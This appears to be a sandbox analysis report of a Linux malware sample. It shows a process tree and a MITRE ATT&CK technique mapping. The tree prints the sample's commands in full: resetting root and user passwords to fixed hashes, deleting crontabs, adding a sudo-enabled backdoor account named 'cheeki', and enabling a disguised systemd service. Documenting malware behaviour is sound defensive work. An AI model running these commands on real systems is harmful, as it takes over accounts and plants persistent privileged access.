- /usr/bin/sh
  sh -c "usermod -p '\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/' root"
  2⤵
  PID:2644
- - /usr/sbin/usermod
    usermod -p "\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/" root
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    PID:2646
- /usr/bin/sh
  sh -c "crontab -u root -r"
  2⤵
  PID:2647
- - /usr/bin/crontab
    crontab -u root -r
    3⤵
    PID:2649
- /usr/bin/sh
  sh -c "usermod -p '\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/' user"
  2⤵
  PID:2648
- - /usr/sbin/usermod
    usermod -p "\$6\$8aivRNZIlSAxxOmo\$KEPo7Yx0FCNDiuD6j7.iqvyyzrMlS9wcMObJlVwnyLn9lWGqXEDnO3bdOLh3dxrFW559vfuBhjAk2FqfKcvZv/" user
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    PID:2651
- /usr/bin/sh
  sh -c "crontab -u user -r"
  2⤵
  PID:2650
- - /usr/bin/crontab
    crontab -u user -r
    3⤵
    PID:2652
- /usr/bin/sh
  sh -c "useradd cheeki"
  2⤵
  PID:2653
- - /usr/sbin/useradd
    useradd cheeki
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    PID:2655
- /usr/bin/sh
  sh -c "usermod -aG wheel cheeki"
  2⤵
  PID:2654
- - /usr/sbin/usermod
    usermod -aG wheel cheeki
    3⤵
    PID:2657
- /usr/bin/sh
  sh -c "usermod -aG sudo cheeki"
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:2656
- - /usr/sbin/usermod
    usermod -aG sudo cheeki
    3⤵
    - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
    PID:2659
- /usr/bin/sh
  sh -c "usermod -p '\$6\$vrC8Hya.mmeUeIem\$Li01KI3RQUpyYepjXUhHF23fTle/wXqAoR0xUFo697faBvmsuXJBTMMK89vGf1YHzhztRGGsNbA/eTIIRXy5Y/' cheeki"
  2⤵
  PID:2658
- - /usr/sbin/usermod
    usermod -p "\$6\$vrC8Hya.mmeUeIem\$Li01KI3RQUpyYepjXUhHF23fTle/wXqAoR0xUFo697faBvmsuXJBTMMK89vGf1YHzhztRGGsNbA/eTIIRXy5Y/" cheeki
    3⤵
    - Reads runtime system information
    PID:2660
- /usr/bin/sh
  sh -c "systemctl disable logrotate-setup.service"
  2⤵
  PID:2661
- - /usr/bin/systemctl
    systemctl disable logrotate-setup.service
    3⤵
    PID:2662
- /usr/bin/sh
  sh -c "systemctl daemon-reload"
  2⤵
  PID:2687
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:2688
- /usr/bin/sh
  sh -c "systemctl enable logrotate-setup.service"
  2⤵
  PID:2814
- - /usr/bin/systemctl
    systemctl enable logrotate-setup.service
    3⤵
    PID:2815
- /usr/bin/sh
  sh -c "systemctl start logrotate-setup.service"
  2⤵
  PID:2941
- - /usr/bin/systemctl
    systemctl start logrotate-setup.service
    3⤵
    PID:2942
- /usr/bin/sh
  sh -c "sshd -t"
  2⤵
  PID:2943
- - /usr/sbin/sshd
    sshd -t
    3⤵
    PID:2944
- /proc/2498/fd/7
  /proc/2498/fd/7
  2⤵
  - Checks hardware identifiers (DMI)
  - Reads hardware information
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Software Deployment Tools

T1072

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

Virtualization/Sandbox Evasion

T1497

System Checks

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Proc Filesystem

T1003.007

Discovery

System Information Discovery

Virtualization/Sandbox Evasion

T1497

System Checks